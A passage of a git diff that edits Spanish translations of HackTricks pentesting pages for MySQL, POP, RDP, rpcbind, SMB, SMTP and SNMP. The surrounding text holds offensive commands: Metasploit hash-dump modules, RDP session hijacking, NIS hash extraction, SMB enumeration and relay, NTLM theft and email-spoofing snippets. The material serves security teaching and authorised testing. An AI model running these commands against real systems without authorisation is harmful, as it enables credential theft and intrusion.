RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` +​ + {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-pop.md b/src/network-services-pentesting/pentesting-pop.md index cb4ec55ce..f5a1a1254 100644 --- a/src/network-services-pentesting/pentesting-pop.md +++ b/src/network-services-pentesting/pentesting-pop.md @@ -73,7 +73,7 @@ password: PA$$W0RD!Z ``` ## Registro de Contraseñas -Los servidores POP con la configuración **`auth_debug`** habilitada generarán más registros. Sin embargo, si **`auth_debug_passwords`** o **`auth_verbose_passwords`** están configurados como **`true`**, las contraseñas también podrían registrarse en texto claro en esos registros. +Los servidores POP con la configuración **`auth_debug`** habilitada aumentarán los registros generados. Sin embargo, si **`auth_debug_passwords`** o **`auth_verbose_passwords`** están configurados como **`true`**, las contraseñas también podrían registrarse en texto claro en esos registros. ## Comandos Automáticos de HackTricks ``` diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index b3baf9fec..3c4013f5a 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -18,7 +18,7 @@ PORT STATE SERVICE ```bash nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 ``` -Verifica la encriptación disponible y la vulnerabilidad de DoS (sin causar DoS al servicio) y obtiene información de NTLM de Windows (versiones). +Verifica la encriptación disponible y la vulnerabilidad DoS (sin causar DoS al servicio) y obtiene información NTLM de Windows (versiones). ### [Fuerza bruta](../generic-hacking/brute-force.md#rdp) @@ -60,7 +60,7 @@ query user ```bash tscon /dest: ``` -Ahora estarás dentro de la sesión RDP seleccionada y tendrás que suplantar a un usuario utilizando solo herramientas y características de Windows. +Ahora estarás dentro de la sesión RDP seleccionada y habrás suplantado a un usuario utilizando solo herramientas y características de Windows. **Importante**: Cuando accedes a sesiones RDP activas, desconectarás al usuario que la estaba utilizando. diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md index 8809bfd57..6c0bda81f 100644 --- a/src/network-services-pentesting/pentesting-rpcbind.md +++ b/src/network-services-pentesting/pentesting-rpcbind.md @@ -4,7 +4,7 @@ ## Información Básica -**Portmapper** es un servicio que se utiliza para mapear puertos de servicios de red a números de programa **RPC** (Llamada a Procedimiento Remoto). Actúa como un componente crítico en **sistemas basados en Unix**, facilitando el intercambio de información entre estos sistemas. El **puerto** asociado con **Portmapper** es frecuentemente escaneado por atacantes, ya que puede revelar información valiosa. Esta información incluye el tipo de **Sistema Operativo (OS) Unix** que se está ejecutando y detalles sobre los servicios que están disponibles en el sistema. Además, **Portmapper** se utiliza comúnmente junto con **NFS (Sistema de Archivos de Red)**, **NIS (Servicio de Información de Red)** y otros **servicios basados en RPC** para gestionar servicios de red de manera efectiva. +**Portmapper** es un servicio que se utiliza para mapear puertos de servicios de red a números de programa **RPC** (Remote Procedure Call). Actúa como un componente crítico en **sistemas basados en Unix**, facilitando el intercambio de información entre estos sistemas. El **puerto** asociado con **Portmapper** es frecuentemente escaneado por atacantes, ya que puede revelar información valiosa. Esta información incluye el tipo de **sistema operativo Unix (OS)** que se está ejecutando y detalles sobre los servicios que están disponibles en el sistema. Además, **Portmapper** se utiliza comúnmente junto con **NFS (Network File System)**, **NIS (Network Information Service)** y otros **servicios basados en RPC** para gestionar servicios de red de manera efectiva. **Puerto por defecto:** 111/TCP/UDP, 32771 en Oracle Solaris ``` @@ -40,7 +40,7 @@ Explorar las vulnerabilidades de **NIS** implica un proceso de dos pasos, comenz El viaje de exploración comienza con la instalación de los paquetes necesarios (`apt-get install nis`). El siguiente paso requiere usar `ypwhich` para confirmar la presencia del servidor NIS al hacer ping con el nombre de dominio y la IP del servidor, asegurando que estos elementos estén anonimizados por seguridad. -El paso final y crucial implica el comando `ypcat` para extraer datos sensibles, particularmente contraseñas de usuario encriptadas. Estos hashes, una vez descifrados usando herramientas como **John the Ripper**, revelan información sobre el acceso y privilegios del sistema. +El paso final y crucial implica el comando `ypcat` para extraer datos sensibles, particularmente contraseñas de usuario encriptadas. Estos hashes, una vez descifrados utilizando herramientas como **John the Ripper**, revelan información sobre el acceso y privilegios del sistema. ```bash # Install NIS tools apt-get install nis @@ -56,7 +56,7 @@ ypcat –d –h passwd.byname | /etc/hosts | hosts.byname, hosts.byaddr | Contiene nombres de host y detalles de IP | | /etc/passwd | passwd.byname, passwd.byuid | Archivo de contraseñas de usuario NIS | | /etc/group | group.byname, group.bygid | Archivo de grupos NIS | -| /usr/lib/aliases | mail.aliases | Detalles de alias de correo | +| /usr/lib/aliases | mail.aliases | Detalles de alias de correo | ## Usuarios RPC @@ -64,7 +64,7 @@ Si encuentras el servicio **rusersd** listado así: ![](<../images/image (1041).png>) -Podrías enumerar los usuarios de la máquina. Para aprender cómo, lee [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md). +Podrías enumerar los usuarios de la caja. Para aprender cómo, lee [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md). ## Bypass del puerto portmapper filtrado diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md index d2c8d61d5..153330b9f 100644 --- a/src/network-services-pentesting/pentesting-smb.md +++ b/src/network-services-pentesting/pentesting-smb.md @@ -10,7 +10,7 @@ El _**Sistema Básico de Entrada y Salida de Red**_** (NetBIOS)** es un protocol ``` ## Puerto 445 -Técnicamente, el Puerto 139 se refiere a ‘NBT sobre IP’, mientras que el Puerto 445 se identifica como ‘SMB sobre IP’. El acrónimo **SMB** significa ‘**Server Message Blocks**’, que también se conoce modernamente como el **Common Internet File System (CIFS)**. Como un protocolo de red de capa de aplicación, SMB/CIFS se utiliza principalmente para permitir el acceso compartido a archivos, impresoras, puertos serie y facilitar diversas formas de comunicación entre nodos en una red. +Técnicamente, el Puerto 139 se refiere a ‘NBT sobre IP’, mientras que el Puerto 445 se identifica como ‘SMB sobre IP’. El acrónimo **SMB** significa ‘**Server Message Blocks**’, que también se conoce modernamente como el **Common Internet File System (CIFS)**. Como un protocolo de red de capa de aplicación, SMB/CIFS se utiliza principalmente para habilitar el acceso compartido a archivos, impresoras, puertos serie y facilitar diversas formas de comunicación entre nodos en una red. Por ejemplo, en el contexto de Windows, se destaca que SMB puede operar directamente sobre TCP/IP, eliminando la necesidad de NetBIOS sobre TCP/IP, a través de la utilización del puerto 445. Por el contrario, en diferentes sistemas, se observa el empleo del puerto 139, lo que indica que SMB se está ejecutando en conjunto con NetBIOS sobre TCP/IP. ``` @@ -20,7 +20,7 @@ Por ejemplo, en el contexto de Windows, se destaca que SMB puede operar directam El **Server Message Block (SMB)** protocolo, que opera en un modelo **cliente-servidor**, está diseñado para regular el **acceso a archivos**, directorios y otros recursos de red como impresoras y enrutadores. Utilizado principalmente dentro de la serie del sistema operativo **Windows**, SMB asegura la compatibilidad hacia atrás, permitiendo que dispositivos con versiones más nuevas del sistema operativo de Microsoft interactúen sin problemas con aquellos que ejecutan versiones más antiguas. Además, el proyecto **Samba** ofrece una solución de software libre, permitiendo la implementación de SMB en sistemas **Linux** y Unix, facilitando así la comunicación entre plataformas a través de SMB. -Los recursos compartidos, que representan **partes arbitrarias del sistema de archivos local**, pueden ser proporcionados por un servidor SMB, haciendo que la jerarquía sea visible para un cliente en parte **independiente** de la estructura real del servidor. Las **Access Control Lists (ACLs)**, que definen los **derechos de acceso**, permiten un **control detallado** sobre los permisos de los usuarios, incluyendo atributos como **`execute`**, **`read`** y **`full access`**. Estos permisos pueden ser asignados a usuarios individuales o grupos, basados en los recursos compartidos, y son distintos de los permisos locales establecidos en el servidor. +Los recursos compartidos, que representan **partes arbitrarias del sistema de archivos local**, pueden ser proporcionados por un servidor SMB, haciendo que la jerarquía sea visible para un cliente en parte **independiente** de la estructura real del servidor. Las **Access Control Lists (ACLs)**, que definen los **derechos de acceso**, permiten un **control detallado** sobre los permisos de los usuarios, incluyendo atributos como **`execute`**, **`read`** y **`full access`**. Estos permisos pueden ser asignados a usuarios individuales o grupos, basándose en los recursos compartidos, y son distintos de los permisos locales establecidos en el servidor. ### IPC$ Share @@ -48,7 +48,7 @@ Si no sabes qué es NTLM o quieres saber cómo funciona y cómo abusar de él, e ## **Enumeración de Servidores** -### **Escanear** una red en busca de hosts: +### **Escanear** una red buscando hosts: ```bash nbtscan -r 192.168.0.1/24 ``` @@ -86,9 +86,9 @@ searchsploit microsoft smb | _(vacío)_ | _(vacío)_ | | invitado | _(vacío)_ | | Administrador, admin | _(vacío)_, contraseña, administrador, admin | -| arcserve | arcserve, respaldo | +| arcserve | arcserve, backup | | tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, respaldo | backupexec, respaldo, arcada | +| backupexec, backup | backupexec, backup, arcada | | prueba, laboratorio, demo | contraseña, prueba, laboratorio, demo | ### Fuerza Bruta @@ -139,7 +139,7 @@ enumdomgroups ```bash lookupsid.py -no-pass hostname.local ``` -Línea única +Oneliner ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` @@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md ### Listar carpetas compartidas -Siempre se recomienda verificar si puedes acceder a algo; si no tienes credenciales, intenta usar **credenciales nulas/usuario invitado**. +Siempre se recomienda verificar si puedes acceder a algo, si no tienes credenciales intenta usar **null** **credentials/guest user**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -265,7 +265,7 @@ fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (gráfico), ingrese `\\\` para ver los recursos compartidos disponibles no ocultos. +explorer.exe (gráfico), ingrese `\\\` para ver los recursos compartidos disponibles que no están ocultos. ### Montar una carpeta compartida ```bash @@ -292,7 +292,7 @@ smbclient /// Comandos: - mask: especifica la máscara que se utiliza para filtrar los archivos dentro del directorio (por ejemplo, "" para todos los archivos) -- recurse: activa la recursión (predeterminado: desactivado) +- recurse: activa la recursión (predeterminado: apagado) - prompt: desactiva la solicitud de nombres de archivos (predeterminado: activado) - mget: copia todos los archivos que coinciden con la máscara del host a la máquina cliente @@ -335,8 +335,8 @@ La **configuración predeterminada de** un **servidor Samba** generalmente se en | `writable = yes` | ¿Permitir a los usuarios crear y modificar archivos? | | `guest ok = yes` | ¿Permitir conectarse al servicio sin usar una contraseña? | | `enable privileges = yes` | ¿Respetar los privilegios asignados a un SID específico? | -| `create mask = 0777` | ¿Qué permisos deben asignarse a los archivos recién creados? | -| `directory mask = 0777` | ¿Qué permisos deben asignarse a los directorios recién creados? | +| `create mask = 0777` | ¿Qué permisos deben asignarse a los archivos recién creados? | +| `directory mask = 0777` | ¿Qué permisos deben asignarse a los directorios recién creados? | | `logon script = script.sh` | ¿Qué script debe ejecutarse en el inicio de sesión del usuario? | | `magic script = script.sh` | ¿Qué script debe ejecutarse cuando se cierra el script? | | `magic output = script.out` | ¿Dónde debe almacenarse la salida del script mágico? | @@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec puede ejecutar comandos **abusando** de cualquiera de **mmcexec, smbexec, atexec, wmiexec**, siendo **wmiexec** el método **predeterminado**. Puedes indicar qué opción prefieres usar con el parámetro `--exec-method`: +crackmapexec puede ejecutar comandos **abusando** de cualquiera de **mmcexec, smbexec, atexec, wmiexec**, siendo **wmiexec** el **método** **predeterminado**. Puedes indicar qué opción prefieres usar con el parámetro `--exec-method`: ```bash apt-get install crackmapexec diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index ac0481135..68398d3be 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,13 +4,13 @@ ## **Puerto 139** -El _**Sistema Básico de Entrada y Salida de Red**_\*\* (NetBIOS)\*\* es un protocolo de software diseñado para permitir que aplicaciones, PCs y Escritorios dentro de una red de área local (LAN) interactúen con hardware de red y **faciliten la transmisión de datos a través de la red**. La identificación y localización de aplicaciones de software que operan en una red NetBIOS se logra a través de sus nombres NetBIOS, que pueden tener hasta 16 caracteres de longitud y a menudo son distintos del nombre del ordenador. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una aplicación (actuando como cliente) emite un comando para "llamar" a otra aplicación (actuando como servidor) utilizando **TCP Puerto 139**. +El _**Sistema Básico de Entrada y Salida de Red**_\*\* (NetBIOS)\*\* es un protocolo de software diseñado para permitir que aplicaciones, PCs y escritorios dentro de una red de área local (LAN) interactúen con hardware de red y **faciliten la transmisión de datos a través de la red**. La identificación y localización de aplicaciones de software que operan en una red NetBIOS se logra a través de sus nombres NetBIOS, que pueden tener hasta 16 caracteres de longitud y a menudo son distintos del nombre del ordenador. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una aplicación (actuando como cliente) emite un comando para "llamar" a otra aplicación (actuando como servidor) utilizando **TCP Puerto 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Puerto 445 -Técnicamente, el Puerto 139 se refiere a ‘NBT sobre IP’, mientras que el Puerto 445 se identifica como ‘SMB sobre IP’. El acrónimo **SMB** significa ‘**Server Message Blocks**’, que también se conoce modernamente como el **Common Internet File System (CIFS)**. Como un protocolo de red de capa de aplicación, SMB/CIFS se utiliza principalmente para permitir el acceso compartido a archivos, impresoras, puertos serie y facilitar diversas formas de comunicación entre nodos en una red. +Técnicamente, el Puerto 139 se refiere a ‘NBT sobre IP’, mientras que el Puerto 445 se identifica como ‘SMB sobre IP’. El acrónimo **SMB** significa ‘**Server Message Blocks**’, que también se conoce modernamente como el **Common Internet File System (CIFS)**. Como un protocolo de red de capa de aplicación, SMB/CIFS se utiliza principalmente para habilitar el acceso compartido a archivos, impresoras, puertos serie y facilitar diversas formas de comunicación entre nodos en una red. Por ejemplo, en el contexto de Windows, se destaca que SMB puede operar directamente sobre TCP/IP, eliminando la necesidad de NetBIOS sobre TCP/IP, a través de la utilización del puerto 445. Por el contrario, en diferentes sistemas, se observa el empleo del puerto 139, lo que indica que SMB se está ejecutando en conjunto con NetBIOS sobre TCP/IP. ``` @@ -24,10 +24,10 @@ Los recursos compartidos, que representan **partes arbitrarias del sistema de ar ### IPC$ Share -El acceso al recurso compartido IPC$ se puede obtener a través de una sesión nula anónima, permitiendo la interacción con servicios expuestos a través de pipes nombrados. La utilidad `enum4linux` es útil para este propósito. Utilizada correctamente, permite la adquisición de: +El acceso al recurso compartido IPC$ se puede obtener a través de una sesión nula anónima, permitiendo la interacción con servicios expuestos a través de tuberías con nombre. La utilidad `enum4linux` es útil para este propósito. Utilizada correctamente, permite la adquisición de: - Información sobre el sistema operativo -- Detalles sobre el dominio principal +- Detalles sobre el dominio padre - Una compilación de usuarios y grupos locales - Información sobre los recursos compartidos SMB disponibles - La política de seguridad del sistema efectiva @@ -40,7 +40,7 @@ El comando anterior es un ejemplo de cómo `enum4linux` podría usarse para real ## ¿Qué es NTLM? -Si no sabes qué es NTLM o quieres saber cómo funciona y cómo abusar de él, encontrarás muy interesante esta página sobre **NTLM** donde se explica **cómo funciona este protocolo y cómo puedes aprovecharlo:** +Si no sabes qué es NTLM o quieres saber cómo funciona y cómo abusar de él, encontrarás muy interesante esta página sobre **NTLM** donde se explica **cómo funciona este protocolo y cómo puedes aprovecharte de él:** {{#ref}} ../../windows-hardening/ntlm/ @@ -121,7 +121,7 @@ rpcclient -U "username%passwd" #With creds ``` ### Enumerar Usuarios, Grupos y Usuarios Conectados -Esta información ya debería estar siendo recopilada de enum4linux y enum4linux-ng. +Esta información ya debería estar siendo recopilada de enum4linux y enum4linux-ng ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -239,7 +239,7 @@ ejemplos smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Enumerar recursos compartidos desde Windows / sin herramientas de terceros** +### **Enumerar recursos compartidos de Windows / sin herramientas de terceros** PowerShell ```powershell @@ -330,16 +330,16 @@ La **configuración predeterminada de** un **servidor Samba** generalmente se en | **Configuración** | **Descripción** | | --------------------------- | ----------------------------------------------------------------- | -| `browseable = yes` | ¿Permitir listar los recursos disponibles en el recurso actual? | -| `read only = no` | ¿Prohibir la creación y modificación de archivos? | -| `writable = yes` | ¿Permitir a los usuarios crear y modificar archivos? | -| `guest ok = yes` | ¿Permitir conectarse al servicio sin usar una contraseña? | -| `enable privileges = yes` | ¿Respetar los privilegios asignados a un SID específico? | -| `create mask = 0777` | ¿Qué permisos deben asignarse a los archivos recién creados? | -| `directory mask = 0777` | ¿Qué permisos deben asignarse a los directorios recién creados? | -| `logon script = script.sh` | ¿Qué script debe ejecutarse en el inicio de sesión del usuario? | -| `magic script = script.sh` | ¿Qué script debe ejecutarse cuando se cierra el script? | -| `magic output = script.out` | ¿Dónde debe almacenarse la salida del script mágico? | +| `browseable = yes` | ¿Permitir listar los recursos compartidos disponibles en el recurso compartido actual? | +| `read only = no` | ¿Prohibir la creación y modificación de archivos? | +| `writable = yes` | ¿Permitir a los usuarios crear y modificar archivos? | +| `guest ok = yes` | ¿Permitir conectarse al servicio sin usar una contraseña? | +| `enable privileges = yes` | ¿Respetar los privilegios asignados a un SID específico? | +| `create mask = 0777` | ¿Qué permisos deben asignarse a los archivos recién creados? | +| `directory mask = 0777` | ¿Qué permisos deben asignarse a los directorios recién creados? | +| `logon script = script.sh` | ¿Qué script necesita ejecutarse en el inicio de sesión del usuario? | +| `magic script = script.sh` | ¿Qué script debe ejecutarse cuando se cierra el script? | +| `magic output = script.out` | ¿Dónde debe almacenarse la salida del script mágico? | El comando `smbstatus` proporciona información sobre el **servidor** y sobre **quién está conectado**. @@ -426,7 +426,7 @@ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/ nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` -## Ataque de retransmisión SMB +## SMB relay attack Este ataque utiliza el kit de herramientas Responder para **capturar sesiones de autenticación SMB** en una red interna y **retransmitirlas** a una **máquina objetivo**. Si la **sesión de autenticación es exitosa**, te llevará automáticamente a un **shell** **del sistema**.\ [**Más información sobre este ataque aquí.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) @@ -444,19 +444,19 @@ Esto ocurre con las funciones: Que son utilizadas por algunos navegadores y herramientas (como Skype) -![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) +![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) ### SMBTrap usando MitMf -![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) +![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) -## Robo de NTLM +## NTLM Theft -Similar al SMB Trapping, plantar archivos maliciosos en un sistema objetivo (a través de SMB, por ejemplo) puede provocar un intento de autenticación SMB, permitiendo que el hash NetNTLMv2 sea interceptado con una herramienta como Responder. El hash puede ser descifrado sin conexión o utilizado en un [ataque de retransmisión SMB](#smb-relay-attack). +Similar al SMB Trapping, plantar archivos maliciosos en un sistema objetivo (a través de SMB, por ejemplo) puede provocar un intento de autenticación SMB, permitiendo que el hash NetNTLMv2 sea interceptado con una herramienta como Responder. El hash puede ser descifrado sin conexión o utilizado en un [SMB relay attack](#smb-relay-attack). -[Ver: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) +[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) -## Comandos Automáticos de HackTricks +## HackTricks Automatic Commands ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md index 4ad663e6c..73d166c5d 100644 --- a/src/network-services-pentesting/pentesting-smtp/README.md +++ b/src/network-services-pentesting/pentesting-smtp/README.md @@ -15,7 +15,7 @@ PORT STATE SERVICE REASON VERSION ``` ### EMAIL Headers -Si tienes la oportunidad de **hacer que la víctima te envíe un correo electrónico** (a través del formulario de contacto de la página web, por ejemplo), hazlo porque **podrías aprender sobre la topología interna** de la víctima viendo los encabezados del correo. +Si tienes la oportunidad de **hacer que la víctima te envíe un correo electrónico** (a través del formulario de contacto de la página web, por ejemplo), hazlo porque **podrías aprender sobre la topología interna** de la víctima al ver los encabezados del correo. También puedes obtener un correo electrónico de un servidor SMTP intentando **enviar a ese servidor un correo a una dirección no existente** (porque el servidor enviará al atacante un correo NDN). Pero, asegúrate de que envías el correo desde una dirección permitida (verifica la política SPF) y que puedes recibir mensajes NDN. @@ -225,7 +225,7 @@ La vulnerabilidad de SMTP Smuggling permitió eludir todas las protecciones de S smtp-smuggling.md {{#endref}} -## Contramedidas de Suplantación de Correo +## Contramedidas contra el Spoofing de Correo Las organizaciones se ven impedidas de tener correos electrónicos no autorizados enviados en su nombre al emplear **SPF**, **DKIM** y **DMARC** debido a la facilidad de suplantar mensajes SMTP. @@ -256,7 +256,7 @@ De [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework): | REDIRECT |

Una redirección es un puntero a otro nombre de dominio que alberga una política SPF, permite que múltiples dominios compartan la misma política SPF. Es útil cuando se trabaja con una gran cantidad de dominios que comparten la misma infraestructura de correo electrónico.

Se utilizará la política SPF del dominio indicado en el mecanismo de redirección.

| También es posible identificar **Calificadores** que indican **qué se debe hacer si se coincide con un mecanismo**. Por defecto, se utiliza el **calificador "+"** (por lo que si se coincide con algún mecanismo, eso significa que está permitido).\ -Normalmente notarás **al final de cada política SPF** algo como: **\~all** o **-all**. Esto se usa para indicar que **si el remitente no coincide con ninguna política SPF, debes etiquetar el correo electrónico como no confiable (\~) o rechazar (-) el correo electrónico.** +Normalmente notarás **al final de cada política SPF** algo como: **\~all** o **-all**. Esto se utiliza para indicar que **si el remitente no coincide con ninguna política SPF, debes etiquetar el correo electrónico como no confiable (\~) o rechazar (-) el correo electrónico.** #### Calificadores @@ -286,7 +286,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` -Tradicionalmente, era posible falsificar cualquier nombre de dominio que no tuviera un registro SPF correcto o ninguno. **Hoy en día**, si el **correo electrónico** proviene de un **dominio sin un registro SPF válido**, probablemente será **rechazado/marcado como no confiable automáticamente**. +Tradicionalmente, era posible suplantar cualquier nombre de dominio que no tuviera un registro SPF correcto o ninguno. **Hoy en día**, si el **correo electrónico** proviene de un **dominio sin un registro SPF válido**, probablemente será **rechazado/marcado como no confiable automáticamente**. Para verificar el SPF de un dominio, puedes usar herramientas en línea como: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) @@ -294,7 +294,7 @@ Para verificar el SPF de un dominio, puedes usar herramientas en línea como: [h DKIM se utiliza para firmar correos electrónicos salientes, permitiendo su validación por agentes de transferencia de correo (MTAs) externos a través de la recuperación de la clave pública del dominio desde DNS. Esta clave pública se encuentra en el registro TXT de un dominio. Para acceder a esta clave, se debe conocer tanto el selector como el nombre del dominio. -Por ejemplo, para solicitar la clave, el nombre del dominio y el selector son esenciales. Estos se pueden encontrar en el encabezado del correo `DKIM-Signature`, por ejemplo, `d=gmail.com;s=20120113`. +Por ejemplo, para solicitar la clave, el nombre del dominio y el selector son esenciales. Estos se pueden encontrar en el encabezado del correo `DKIM-Signature`, p. ej., `d=gmail.com;s=20120113`. Un comando para obtener esta información podría verse así: ```bash @@ -351,7 +351,7 @@ Esto tiene sentido: un subdominio puede estar en una ubicación geográfica dife ### **Open Relay** -Cuando se envían correos electrónicos, asegurar que no sean marcados como spam es crucial. Esto se logra a menudo mediante el uso de un **servidor de retransmisión que es de confianza para el destinatario**. Sin embargo, un desafío común es que los administradores pueden no estar completamente conscientes de qué **rangos de IP son seguros para permitir**. Esta falta de comprensión puede llevar a errores en la configuración del servidor SMTP, un riesgo frecuentemente identificado en evaluaciones de seguridad. +Cuando se envían correos electrónicos, asegurar que no sean marcados como spam es crucial. Esto se logra a menudo mediante el uso de un **servidor de retransmisión que es confiable para el destinatario**. Sin embargo, un desafío común es que los administradores pueden no estar completamente conscientes de qué **rangos de IP son seguros para permitir**. Esta falta de comprensión puede llevar a errores en la configuración del servidor SMTP, un riesgo que se identifica con frecuencia en las evaluaciones de seguridad. Una solución alternativa que algunos administradores utilizan para evitar problemas de entrega de correo, especialmente en lo que respecta a las comunicaciones con clientes potenciales o en curso, es **permitir conexiones desde cualquier dirección IP**. Esto se hace configurando el parámetro `mynetworks` del servidor SMTP para aceptar todas las direcciones IP, como se muestra a continuación: ```bash @@ -409,7 +409,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE {{#tab name="PHP"}}
# Esto enviará un mensaje sin firmar
-mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
+mail("your_email@gmail.com", "Asunto de Prueba!", "¡hey! Este es una prueba", "From: administrator@victim.com");
 
{{#endtab}} diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index 24ace94e8..57e58c568 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -14,7 +14,7 @@ PORT STATE SERVICE REASON VERSION ### MIB -Para asegurar que el acceso SNMP funcione entre diferentes fabricantes y con diferentes combinaciones de cliente-servidor, se creó la **Base de Información de Gestión (MIB)**. MIB es un **formato independiente para almacenar información del dispositivo**. Un MIB es un archivo **de texto** en el que se enumeran todos los **objetos SNMP** consultables de un dispositivo en una jerarquía de árbol **estandarizada**. Contiene al **menos un `Identificador de Objeto` (`OID`)**, que, además de la **dirección única** necesaria y un **nombre**, también proporciona información sobre el tipo, derechos de acceso y una descripción del respectivo objeto.\ +Para asegurar que el acceso SNMP funcione entre diferentes fabricantes y con diferentes combinaciones de cliente-servidor, se creó la **Base de Información de Gestión (MIB)**. MIB es un **formato independiente para almacenar información del dispositivo**. Un MIB es un **archivo de texto** en el que se enumeran todos los **objetos SNMP** consultables de un dispositivo en una jerarquía de árbol **estandarizada**. Contiene al **menos un `Identificador de Objeto` (`OID`)**, que, además de la **dirección única** necesaria y un **nombre**, también proporciona información sobre el tipo, derechos de acceso y una descripción del respectivo objeto.\ Los archivos MIB están escritos en el formato de texto ASCII basado en `Notación de Sintaxis Abstracta Uno` (`ASN.1`). Los **MIB no contienen datos**, sino que explican **dónde encontrar qué información** y cómo se ve, qué valores devuelve para el OID específico, o qué tipo de dato se utiliza. ### OIDs @@ -124,7 +124,7 @@ Gracias a las consultas extendidas (download-mibs), es posible enumerar aún má ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` -**SNMP** tiene mucha información sobre el host y cosas que pueden ser interesantes son: **Interfaces de red** (dirección **IPv4** y **IPv6**), Nombres de usuario, Tiempo de actividad, Versión del servidor/SO y **procesos** +**SNMP** tiene mucha información sobre el host y cosas que pueden resultar interesantes son: **Interfaces de red** (dirección **IPv4** y **IPv6**), Nombres de usuario, Tiempo de actividad, Versión del servidor/SO y **procesos** **en ejecución** (puede contener contraseñas).... @@ -173,7 +173,7 @@ snmp-rce.md ## **SNMP Masivo** -[Braa ](https://github.com/mteg/braa) es un escáner SNMP masivo. El uso previsto de tal herramienta es, por supuesto, realizar consultas SNMP – pero a diferencia de snmpwalk de net-snmp, puede consultar docenas o cientos de hosts simultáneamente, y en un solo proceso. Así, consume muy pocos recursos del sistema y realiza el escaneo MUY rápido. +[Braa ](https://github.com/mteg/braa) es un escáner SNMP masivo. El uso previsto de tal herramienta es, por supuesto, realizar consultas SNMP – pero a diferencia de snmpwalk de net-snmp, es capaz de consultar decenas o cientos de hosts simultáneamente, y en un solo proceso. Así, consume muy pocos recursos del sistema y realiza el escaneo MUY rápido. Braa implementa su PROPIO stack SNMP, por lo que NO necesita ninguna biblioteca SNMP como net-snmp. @@ -215,7 +215,7 @@ Puedes usar _**NetScanTools**_ para **modificar valores**. Necesitarás conocer ## Suplantación -Si hay una ACL que solo permite que algunas IPs consulten el servicio SMNP, puedes suplantar una de estas direcciones dentro del paquete UDP y espiar el tráfico. +Si hay una ACL que solo permite que algunas IPs consulten el servicio SNMP, puedes suplantar una de estas direcciones dentro del paquete UDP y espiar el 